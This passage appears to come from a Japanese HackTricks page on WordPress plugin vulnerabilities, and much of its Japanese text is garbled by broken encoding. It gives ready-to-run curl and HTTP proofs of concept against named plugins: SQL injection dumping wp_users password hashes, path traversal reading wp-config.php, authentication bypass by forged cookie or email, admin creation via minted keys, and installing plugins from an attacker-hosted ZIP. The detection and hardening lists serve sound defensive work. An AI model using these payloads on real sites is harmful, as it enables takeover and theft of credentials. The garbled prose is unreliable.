ããŸããããçŸåšã®ããŒã«ãåé€ã㊠user meta _asenha_view_admin_as_original_roles ã«ä¿åãããããŒã«ãå远å ããåã«ãcurrent_user_can() ã®ãã§ãã¯ã nonce ã®æ€èšŒãè¡ã£ãŠããŸããã§ãã:
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
ãªãæªçšå¯èœã
$_REQUEST['reset-for']ãšãã©ã°ã€ã³ã®ãªãã·ã§ã³ããµãŒããŒåŽã®èªå¯ãªãã«ä¿¡é ŒããŠããã- ãŠãŒã¶ãŒã以åã«é«ãç¹æš©ã
_asenha_view_admin_as_original_rolesã«ä¿åããŠããŠæš©éãäžããããŠããå Žåããªã»ããçšã®ãã¹ã«ã¢ã¯ã»ã¹ããããšã§ãããã埩å ã§ããã - äžéšã®å°å
¥ç°å¢ã§ã¯ãèªèšŒæžã¿ã®ä»»æã®ãŠãŒã¶ãŒã
viewing_admin_as_role_areã«ãŸã ååšããå¥ã®ãŠãŒã¶ãŒåã®ãªã»ãããããªã¬ãŒã§ããïŒèªå¯ã®äžåïŒã
æªçšïŒäŸïŒ
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
è匱ãªãã«ãã§ã¯ãããçŸåšã®ããŒã«ãåé€ããä¿åãããå
ã®ããŒã«ïŒäŸïŒadministratorïŒãå远å ãããããå®è³ªçã«æš©éãææ ŒããŸãã
Detection checklist
- ãŠãŒã¶ãŒã¡ã¿ã«ãoriginal rolesããä¿æãããããªããŒã«åæ¿æ©èœïŒäŸïŒ
_asenha_view_admin_as_original_rolesïŒãæ¢ãã - ãªã»ãã/埩å çšã®ãã¹ãç¹å®ããããããã¯æ¬¡ã®ãããªç¹åŸŽãããïŒ
$_REQUEST/$_GET/$_POSTãããŠãŒã¶ãŒåãèªã¿åããadd_role()/remove_role()ãcurrent_user_can()ããã³wp_verify_nonce()/check_admin_referer()ãªãã§åŒã³åºããŠããŒã«ã倿Žããã- actor ã® capabilities ã§ã¯ãªããã©ã°ã€ã³ã®ãªãã·ã§ã³é
åïŒäŸïŒ
viewing_admin_as_role_areïŒã«åºã¥ããŠèªå¯ããã
Unauthenticated privilege escalation via cookieâtrusted user switching on public init (Service Finder âsf-bookingâ)
äžéšã®ãã©ã°ã€ã³ã¯ãŠãŒã¶ãŒã¹ã€ããã³ã°çšã®ãã«ããŒãå
¬éã® init ããã¯ã«æ¥ç¶ããã¯ã©ã€ã¢ã³ããå¶åŸ¡ããCookieããè奿
å ±ãååŸããŸããã³ãŒããèªèšŒãæš©éãæå¹ãªnonceã®æ€èšŒãè¡ããã« wp_set_auth_cookie() ãåŒã³åºããšãæªèªèšŒã®èšªåè
ãä»»æã®ãŠãŒã¶ãŒIDãšããŠåŒ·å¶çã«ãã°ã€ã³ã§ããŸãã
Typical vulnerable pattern (simplified from Service Finder Bookings †6.1):
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');
function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid); // ð¥ sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}
ãªãæªçšå¯èœã
- å
¬éã®
initããã¯ã«ãããã³ãã©ã¯æªèªèšŒãŠãŒã¶ãŒããå°éå¯èœã«ãªãïŒis_user_logged_in()ã¬ãŒãããªãïŒã - èå¥ã¯ã¯ã©ã€ã¢ã³ãã倿Žå¯èœãªã¯ãããŒïŒ
original_user_idïŒããå°åºãããŠããã wp_set_auth_cookie($uid)ãçŽæ¥åŒã³åºãããšã§ãèŠæ±è ããã®ãŠãŒã¶ãŒãšããŠãã°ã€ã³ãããïŒæš©éã nonce ãã§ãã¯ãªãïŒã
æªçšïŒæªèªèšŒïŒ
GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close
WAF â WordPress/plugin CVEs ã®èæ ®äºé
äžè¬çãªãšããž/ãµãŒã㌠WAF ã¯åºç¯ãªãã¿ãŒã³ïŒSQLiãXSSãLFIïŒã«åãããŠãã¥ãŒãã³ã°ãããŠããŸããå€ãã®é«åœ±é¿ãª WordPress/plugin ã®è匱æ§ã¯ã¢ããªã±ãŒã·ã§ã³åºæã®ããžãã¯ã auth ãã°ã§ããšã³ãžã³ã WordPress ã®ã«ãŒãã plugin ã®ã»ãã³ãã£ã¯ã¹ãçè§£ããŠããªããšæ£åœãªãã©ãã£ãã¯ã«èŠããŠããŸããŸãã
æ»æåŽã®æ³šæç¹
- plugin å°çšã®ãšã³ããã€ã³ããã¯ãªãŒã³ãª payloads ã§çã:
admin-ajax.php?action=...,wp-json/<namespace>/<route>, custom file handlers, shortcodes. - ãŸã㯠unauth ãã¹ã詊ãïŒAJAX
noprivãããŒããã·ããªpermission_callbackãæã€ RESTãpublic shortcodesïŒãããã©ã«ãã® payloads ã¯é£èªåãªãã§æåããããšãå€ãã - å žåçãªé«åœ±é¿ã±ãŒã¹: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
é²åŸ¡åŽã®æ³šæç¹
- plugin CVEs ãä¿è·ããããã«æ±çšç㪠WAF ã·ã°ããã£ã«é Œããªããã¢ããªã±ãŒã·ã§ã³å±€ã§è匱æ§åºæã®ä»®æ³ããããå®è£ ããããçŽ æ©ãæŽæ°ããã
- ã³ãŒãå ã§ã¯ãã¬ãã£ã㪠regex ãã£ã«ã¿ããããããžãã£ãã»ãã¥ãªãã£ãã§ãã¯ïŒcapabilitiesãnoncesã峿 Œãªå ¥åæ€èšŒïŒãåªå ããã
WordPress ã®ä¿è·
宿çãªæŽæ°
WordPressãpluginsãthemes ãææ°ã§ããããšã確èªããããŸããwp-config.php ã§èªåæŽæ°ãæå¹ã«ãªã£ãŠããã確èªãã:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
ãŸããä¿¡é Œã§ãã WordPress ãã©ã°ã€ã³ãšããŒãã®ã¿ãã€ã³ã¹ããŒã«ããŠãã ããã
ã»ãã¥ãªãã£ãã©ã°ã€ã³
ãã®ä»ã®æšå¥šäºé
- ããã©ã«ãã® admin ãŠãŒã¶ãŒãåé€ãã
- 匷åãªãã¹ã¯ãŒã ãš 2FA ã䜿çšãã
- 宿çã«ãŠãŒã¶ãŒã® æš©é ã èŠçŽã
- ãã°ã€ã³è©Šè¡åæ°ãå¶éããããšã§ Brute Force æ»æãé²ã
wp-admin.phpãã¡ã€ã«ã®ååã倿Žããå éšãŸãã¯ç¹å®ã® IP ã¢ãã¬ã¹ããã®ã¿ã¢ã¯ã»ã¹ãèš±å¯ããã
Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)
WP Job Portal ã®æ±äººãã©ã°ã€ã³ã¯ savecategory ã¿ã¹ã¯ãå
¬éããŠãããæçµçã« modules/category/model.php::validateFormData() å
ã§ä»¥äžã®è匱ãªã³ãŒããå®è¡ããŸã:
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category "; // <-- direct concat â
}
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
ãã®ã¹ãããããåŒãèµ·ããåé¡:
- Unsanitised user input â
parentidã¯HTTPãªã¯ãšã¹ããããã®ãŸãŸååŸãããŠããŸãã - String concatenation inside the WHERE clause â
is_numeric()/esc_sql()/ prepared statement ã䜿ãããŠããŸããã - Unauthenticated reachability â ãã®ã¢ã¯ã·ã§ã³ã¯
admin-post.phpãéããŠå®è¡ãããŸãããèšçœ®ãããŠããå¯äžã®ãã§ãã¯ã¯ CSRF nonce (wp_verify_nonce()) ã§ãããã¯ã·ã§ãŒãã³ãŒã[wpjobportal_my_resumes]ãåã蟌ãã å ¬éããŒãžãã誰ã§ãååŸã§ããŸãã
æªçš
- æ°ãã nonce ãååŸãã:
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
parentidãæªçšããŠä»»æã®SQLãæ³šå ¥ãã:
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
ã¬ã¹ãã³ã¹ã¯æ³šå ¥ãããã¯ãšãªã®çµæã衚瀺ãããããŒã¿ããŒã¹ã倿ŽããSQLi ã蚌æããŸãã
Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
å¥ã®ã¿ã¹ã¯ãdownloadcustomfile ã¯ãpath traversal ãä»ããŠèšªåè
ããã£ã¹ã¯äžã®ä»»æã®ãã¡ã€ã«ãããŠã³ããŒãã§ããããã«ããŠããŸãããè匱ãªã·ã³ã¯ã¯ modules/customfield/model.php::downloadCustomUploadedFile() ã«ãããŸãïŒ
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
$file_name ã¯æ»æè
ãå¶åŸ¡å¯èœã§ãwithout sanitisation ã®ãŸãŸé£çµãããŠããŸããç¹°ãè¿ããŸãããå¯äžã®éå£ã¯å±¥æŽæžããŒãžããååŸã§ãã CSRF nonce ã§ãã
Exploitation
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
ãµãŒããŒã¯ wp-config.php ã®å
容ãè¿ããleaking DB credentials and auth keysã
æªèªèšŒã®ã¢ã«ãŠã³ãä¹ã£åã â Social Login AJAX fallback çµç± (Jobmonster Theme <= 4.7.9)
å€ãã®ããŒã/ãã©ã°ã€ã³ã¯ admin-ajax.php çµç±ã§å ¬éããã âsocial loginâ ãã«ããŒãæäŸããŸããæªèªèšŒã® AJAX ã¢ã¯ã·ã§ã³ (wp_ajax_nopriv_âŠ) ã provider data ãååšããªãå Žåã« client-supplied identifiers ãä¿¡çšã㊠wp_set_auth_cookie() ãåŒã³åºããšãå®å šãª full authentication bypass ã«ãªããŸãã
å žåçãªæ¬ é¥ãã¿ãŒã³ïŒç°¡ç¥åïŒ
public function check_login() {
// ... request parsing ...
switch ($_POST['using']) {
case 'fb': /* set $user_email from verified Facebook token */ break;
case 'google': /* set $user_email from verified Google token */ break;
// other providers ...
default: /* unsupported/missing provider â execution continues */ break;
}
// FALLBACK: trust POSTed "id" as email if provider data missing
$user_email = !empty($user_email)
? $user_email
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');
if (empty($user_email)) {
wp_send_json(['status' => 'not_user']);
}
$user = get_user_by('email', $user_email);
if ($user) {
wp_set_auth_cookie($user->ID, true); // ð¥ logs requester in as that user
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
}
wp_send_json(['status' => 'not_user']);
}
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);
ãªãæªçšå¯èœã
- admin-ajax.phpïŒwp_ajax_nopriv_⊠ã¢ã¯ã·ã§ã³ïŒçµç±ã§æªèªèšŒã§å°éå¯èœã
- ç¶æ 倿Žåã« nonce/capability ãã§ãã¯ãè¡ãããªãã
- OAuth/OpenID provider ã®æ€èšŒãæ¬ åŠããŠãããããã©ã«ãã®åå²ãæ»æè ã®å ¥åãåãå ¥ããã
- get_user_by(âemailâ, $_POST[âidâ]) ã®åŸã« wp_set_auth_cookie($uid) ãåŒã°ããèŠæ±è ãä»»æã®æ¢åã¡ãŒã«ã¢ãã¬ã¹ãšããŠèªèšŒããŠããŸãã
æªçšïŒæªèªèšŒïŒ
- åææ¡ä»¶: æ»æè ã /wp-admin/admin-ajax.php ã«å°éã§ããæå¹ãªãŠãŒã¶ãŒã¡ãŒã«ãç¥ã£ãŠãããæšæž¬ã§ããããšã
- provider ããµããŒããããŠããªãå€ã«èšå®ããïŒãŸãã¯çç¥ããïŒãšããã©ã«ãã®åå²ãå®è¡ãããid=<victim_email> ãæž¡ãã
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Content-Type: application/x-www-form-urlencoded
action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"
Expected success indicators
- HTTP 200 with JSON body like {âstatusâ:âsuccessâ,âmessageâ:âLogin successfully.â}.
- Set-Cookie: wordpress_logged_in_* for the victim user; subsequent requests are authenticated.
Finding the action name
- ããŒã/ãã©ã°ã€ã³å ã® social login ã³ãŒãïŒäŸ: framework/add-ons/social-login/class-social-login.phpïŒã§ add_action(âwp_ajax_nopriv_âŠâ, ââŠâ) ã®ç»é²ã確èªããã
- AJAX ãã³ãã©å ã§ wp_set_auth_cookie(), get_user_by(âemailâ, âŠ) ã grep ããã
Detection checklist
- social-login ã¢ã¯ã·ã§ã³ãš id=
ãå«ãæªèªèšŒã® POST ã /wp-admin/admin-ajax.php ã«å¯ŸããŠè¡ãããŠããããšã瀺ã Web ãã°ã - åäž IP/UA ããã®èªèšŒæžã¿ãã©ãã£ãã¯ã®çŽåã« success JSON ãè¿ã 200 ã¬ã¹ãã³ã¹ãããããšã
Hardening
- ã¯ã©ã€ã¢ã³ãå ¥åããèå¥ãå°åºããªããã¡ãŒã«/ID ã¯æ€èšŒæžã¿ãããã€ãã®ããŒã¯ã³/ID ã«ç±æ¥ãããã®ã®ã¿åãå ¥ããã
- ãã°ã€ã³è£å©ã§ã CSRF nonce ãš capability ãã§ãã¯ãèŠæ±ãããwp_ajax_nopriv_ ã®ç»é²ã¯æ¬åœã«å¿ èŠãªå Žåã®ã¿è¡ãã
- OAuth/OIDC ã¬ã¹ãã³ã¹ããµãŒããŒåŽã§æ€èšŒã»ç¢ºèªããããããã€ããæ¬ èœã»ç¡å¹ãªå Žåã¯æåŠããïŒPOST ã® id ã«ãã©ãŒã«ããã¯ããªãïŒã
- ä¿®æ£ããããŸã§äžæçã« social login ãç¡å¹åãããããšããžã§è匱㪠action ããããã¯ããŠä»®ããããåœãŠãããšãæ€èšããã
Patched behaviour (Jobmonster 4.8.0)
- $_POST[âidâ] ããã®å®å šã§ãªããã©ãŒã«ããã¯ãåé€ïŒ$user_email 㯠switch($_POST[âusingâ]) ã®æ€èšŒæžã¿ãããã€ãåå²ããã®ã¿ååŸãããå¿ èŠãããã
Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers †1.0.82)
äžéšãã©ã°ã€ã³ã¯ãåŒã³åºãå ã® capability ãæ€èšŒããã«åå©çšå¯èœãª âconnection keysâ ãããŒã¯ã³ãçºè¡ãã REST ãšã³ããã€ã³ããå ¬éããŠãããã«ãŒããæšæž¬å¯èœãªå±æ§ïŒäŸ: usernameïŒã®ã¿ã§èªèšŒããããŒã capability ãã§ãã¯ã§ãŠãŒã¶ãŒ/ã»ãã·ã§ã³ã«çŽä»ããªãå ŽåãæªèªèšŒã®æ»æè ãããŒãçºè¡ããŠç¹æš©æäœïŒç®¡çè ã¢ã«ãŠã³ãäœæããã©ã°ã€ã³æäœ â RCEïŒãå®è¡ã§ããã
- Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
- Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
- Impact: full takeover by chaining the minted key to internal privileged actions
PoC â mint a connection key and use it
# 1) Obtain key (unauthenticated). Exact payload varies per plugin
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
-H 'Content-Type: application/json' \
--data '{"username":"admin"}'
# â {"key":"<conn_key>", ...}
# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
-H 'Content-Type: application/json' \
-H 'X-Connection-Key: <conn_key>' \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'
Why itâs exploitable
- Sensitive REST route protected only by low-entropy identity proof (username) or missing permission_callback
- No capability enforcement; minted key is accepted as a universal bypass
Detection checklist
- ãã©ã°ã€ã³ã³ãŒãã grep ã㊠register_rest_route(âŠ, [ âpermission_callbackâ => â__return_trueâ ]) ãæ¢ã
- èªèšŒæžã¿ãŠãŒã¶ãŒã capability ã«çŽã¥ããããããªã¯ãšã¹ãæäŸã®è奿 å ±ïŒusername/emailïŒã«åºã¥ããŠããŒã¯ã³/ããŒãçºè¡ããã«ãŒã
- ãµãŒããŒåŽã® capability ãã§ãã¯ãªãã«çæãããããŒã¯ã³/ããŒãåãå ¥ããåŸç¶ã®ã«ãŒããæ¢ã
Hardening
- ç¹æš©ãèŠãã REST route ã§ã¯ãå¿ èŠãª capability ã«å¯Ÿã㊠current_user_can() ã匷å¶ãã permission_callback ãå¿ é ã«ãã
- ã¯ã©ã€ã¢ã³ãæäŸã®è奿 å ±ããé·æéæå¹ãªããŒãçºè¡ããªããå¿ èŠãªå Žåã¯èªèšŒåŸã«çåœã§ãŠãŒã¶ãŒã«çŽã¥ãããŒã¯ã³ãçºè¡ããäœ¿çšæã«å床 capability ã確èªãã
- åŒã³åºãå
ã®ãŠãŒã¶ãŒã³ã³ããã¹ããæ€èšŒããïŒwp_set_current_user åç¬ã§ã¯äžååïŒãã!is_user_logged_in() || !current_user_can(
) ã®å Žåã¯ãªã¯ãšã¹ããæåŠãã
Nonce gate misuse â unauthenticated arbitrary plugin installation (FunnelKit Automations †3.5.3)
Nonces prevent CSRF, not authorization. If code treats a nonce pass as a green light and then skips capability checks for privileged operations (e.g., install/activate plugins), unauthenticated attackers can meet a weak nonce requirement and reach RCE by installing a backdoored or vulnerable plugin.
- Vulnerable path: plugin/install_and_activate
- Flaw: weak nonce hash check; no current_user_can(âinstall_pluginsâ|âactivate_pluginsâ) once nonce âpassesâ
- Impact: full compromise via arbitrary plugin install/activation
PoC (shape depends on plugin; illustrative only)
curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
-H 'Content-Type: application/json' \
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'
Detection checklist
- REST/AJAX ãã³ãã©ã§ãplugins/themes ã倿Žããwp_verify_nonce()/check_admin_referer() ã®ã¿ã䜿ã£ãŠããŠæš©éãã§ãã¯ããªããã®
- nonce æ€èšŒåŸã« $skip_caps = true ãèšå®ããã³ãŒããã¹
Hardening
- nonce ã CSRF ããŒã¯ã³ãšããŠã®ã¿æ±ããnonce ã®ç¶æ ã«é¢ãããæš©éãã§ãã¯ãå¿ ã宿œãã
- installer code ã«å°éããåã« current_user_can(âinstall_pluginsâ) ãš current_user_can(âactivate_pluginsâ) ãèŠæ±ãã
- æªèªèšŒã¢ã¯ã»ã¹ãæåŠããæš©éãå¿ èŠãªãããŒã«å¯Ÿã㊠nopriv ã® AJAX ã¢ã¯ã·ã§ã³ãå ¬éããªã
Subscriber+ AJAX plugin installer â forced malicious activation (Motors Theme †5.6.81)
Patchstackâs analysis showed how the Motors theme ships an authenticated AJAX helper for installing its companion plugin:
add_action('wp_ajax_mvl_theme_install_base', 'mvl_theme_install_base');
function mvl_theme_install_base() {
check_ajax_referer('mvl_theme_install_base', 'nonce');
$plugin_url = sanitize_text_field($_GET['plugin']);
$plugin_slug = 'motors-car-dealership-classified-listings';
$upgrader = new Plugin_Upgrader(new Motors_Theme_Plugin_Upgrader_Skin(['plugin' => $plugin_slug]));
$upgrader->install($plugin_url);
mvl_theme_activate_plugin($plugin_slug);
}
- Only
check_ajax_referer()is called; there is nocurrent_user_can('install_plugins')orcurrent_user_can('activate_plugins'). - The nonce is embedded in the Motors admin page, so any Subscriber that can open
/wp-admin/can copy it from the HTML/JS. - The handler trusts the attacker-controlled
pluginparameter (read from$_GET) and passes it intoPlugin_Upgrader::install(), so an arbitrary remote ZIP is downloaded intowp-content/plugins/. - After installation the theme unconditionally calls
mvl_theme_activate_plugin(), guaranteeing execution of the attacker pluginâs PHP code.
ãšã¯ã¹ããã€ãã®æµã
- äœæš©éã¢ã«ãŠã³ããç»é²ãããä¹ã£åãïŒSubscriber ã§ååïŒããMotors ããã·ã¥ããŒãã® UI ãã
mvl_theme_install_basenonce ãååŸããŸãã - ãããã¬ãã«ãã£ã¬ã¯ããªãæåŸ
ãããã¹ã©ãã°
motors-car-dealership-classified-listings/ãšäžèŽãããã©ã°ã€ã³ ZIP ãäœæãã*.phpãšã³ããªãã€ã³ãã« backdoor ã webshell ãåã蟌ã¿ãŸãã - ZIP ããã¹ãã£ã³ã°ãããã³ãã©ãããªãã® URL ã«åããŠã€ã³ã¹ããŒã©ãèµ·åããŸãïŒ
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Cookie: wordpress_logged_in_=...
Content-Type: application/x-www-form-urlencoded
action=mvl_theme_install_base&nonce=<leaked_nonce>&plugin=https%3A%2F%2Fattacker.tld%2Fmotors-car-dealership-classified-listings.zip
ãã³ãã©ã $_GET['plugin'] ãèªã¿åããããåããã€ããŒãã¯ã¯ãšãªæååçµç±ã§ãéä¿¡ã§ããŸãã
æ€åºãã§ãã¯ãªã¹ã
- æš©éãã§ãã¯ãªãã§
wp_ajax_*ããã¯ã«æ¥ç¶ãããPlugin_UpgraderãTheme_UpgraderããŸãã¯ã«ã¹ã¿ã ã®install_plugin.phpãã«ããŒãããŒã/ãã©ã°ã€ã³å ã§æ€çŽ¢ããã pluginãpackageãsourceãurlãã©ã¡ãŒã¿ãåãåããããã upgrader APIs ã«æž¡ããã³ãã©ã調æ»ãããç¹ã«ã¹ã©ãã°ãããŒãã³ãŒããããŠããã ZIP ã®å å®¹ãæ€èšŒãããŠããªãå Žåã«æ³šæã- ã€ã³ã¹ããŒã©æäœçšã® nonces ãå ¬éãã管çããŒãžã確èªãã â Subscribers ãããŒãžãèªã¿èŸŒããå Žåããã® nonce 㯠leak ãããšä»®å®ããã
ããŒããã³ã°
- nonce æ€èšŒã®åŸãinstaller ã® AJAX ã³ãŒã«ããã¯ã
current_user_can('install_plugins')ãšcurrent_user_can('activate_plugins')ã§å¶éãããMotors 5.6.82 ããã®ãã§ãã¯ãå°å ¥ããŠãã®ãã°ãä¿®æ£ããã - ä¿¡é ŒãããŠããªã URLs ãæåŠããïŒã€ã³ã¹ããŒã©ããã³ãã«ããã ZIP ãä¿¡é Œã§ãããªããžããªã«éå®ããããŸãã¯çœ²åä»ãããŠã³ããŒããããã§ã¹ãã匷å¶ããã
- nonces ã CSRF ããŒã¯ã³ãšããŠå³æ Œã«æ±ãïŒãããã¯èªå¯ãæäŸãããæš©éãã§ãã¯ã®ä»£æ¿ã«ããŠã¯ãããªãã
Unauthenticated SQLi via s search parameter in depicter-* actions (Depicter Slider †3.6.1)
è€æ°ã® depicter-* ã¢ã¯ã·ã§ã³ã s (search) ãã©ã¡ãŒã¿ãåãåããããããã©ã¡ãŒã¿åããã« SQL ã¯ãšãªã«é£çµããŠããã
- Parameter: s (search)
- Flaw: direct string concatenation in WHERE/LIKE clauses; no prepared statements/sanitization
- Impact: database exfiltration (users, hashes), lateral movement
PoC
# Replace action with the affected depicter-* handler on the target
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode 'action=depicter_search' \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"
Detection checklist
- depicter-* ã® action handlers ãšãSQL å ã§ã® $_GET[âsâ] ã $_POST[âsâ] ã®çŽæ¥äœ¿çšã grep ã§æ€çŽ¢ãã
- s ãé£çµããŠãã $wpdb->get_results()/query() ã«æž¡ãããã«ã¹ã¿ã ã¯ãšãªã確èªãã
Hardening
- åžžã« $wpdb->prepare() ãŸã㯠wpdb placeholders ã䜿çšãããµãŒããŒåŽã§äºæããªãã¡ã¿æåãæåŠãã
- s ã«å¯ŸããŠå³æ Œãªèš±å¯ãªã¹ãã远å ããæåŸ ãããæåã»ãã/é·ãã«æ£èŠåãã
Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder †2.5.1)
ãã³ãã¬ãŒããã©ã¡ãŒã¿ã§æ»æè å¶åŸ¡ã®ãã¹ãæ£èŠå/éé¢ããªããšãä»»æã®ããŒã«ã«ãã¡ã€ã«ãèªã¿åãããincludable PHP/log files ãå®è¡æã«åã蟌ãŸãããšã³ãŒãå®è¡ã«ã€ãªããããšãããã
- Parameter: __kubio-site-edit-iframe-classic-template
- Flaw: æ£èŠå/èš±å¯ãªã¹ãåãè¡ãããŠãããããã©ããŒãµã«ãå¯èœ
- Impact: æ©å¯æ å ±ã®é瀺 (wp-config.php)ãç¹å®ç°å¢ã§ã¯ RCE ã®å¯èœæ§ïŒlog poisoningãincludable PHPïŒ
PoC â wp-config.php ã®èªã¿åã
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"
Detection checklist
- realpath() ã«ããå å«ãã§ãã¯ãªãã«ããªã¯ãšã¹ããã¹ã include()/require()/read ã·ã³ã¯ã«é£çµãããã³ãã©ããªãã確èªãã
- æå³ãã templates ãã£ã¬ã¯ããªã®å€ã«å°éãã ../ ã®ãããªãã©ããŒãµã«ãã¿ãŒã³ãæ¢ã
Hardening
- èš±å¯ãªã¹ãåããããã³ãã¬ãŒãã匷å¶ããïŒrealpath() ã§è§£æ±ºããstr_starts_with(realpath(file), realpath(allowed_base)) ãèŠæ±ãã
- å ¥åãæ£èŠåããïŒãã©ããŒãµã«ã·ãŒã±ã³ã¹ã絶察ãã¹ãæåŠããïŒsanitize_file_name() ã¯ãã¡ã€ã«åã®ã¿ïŒãã«ãã¹ã«ã¯äœ¿çšããªãïŒã«äœ¿ã
References
- Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme
- Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin
- Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites
- ASE 7.6.3 changeset â delete original roles on profile update
- Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses
- WooCommerce Payments †5.6.1 â Unauth privilege escalation via trusted header (Patchstack DB)
- Hackers exploiting critical WordPress WooCommerce Payments bug
- Unpatched Privilege Escalation in Service Finder Bookings Plugin
- Service Finder Bookings privilege escalation â Patchstack DB entry
- Unauthenticated Broken Authentication Vulnerability in WordPress Jobmonster Theme
- Q3 2025âs most exploited WordPress vulnerabilities and how RapidMitigate blocked them
- OttoKit (SureTriggers) †1.0.82 â Privilege Escalation (Patchstack DB)
- FunnelKit Automations †3.5.3 â Unauthenticated arbitrary plugin installation (Patchstack DB)
- Depicter Slider †3.6.1 â Unauthenticated SQLi via s parameter (Patchstack DB)
- Kubio AI Page Builder †2.5.1 â Unauthenticated LFI (Patchstack DB)
- Critical Arbitrary File Upload Vulnerability in Motors Theme Affecting 20k+ Sites
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã


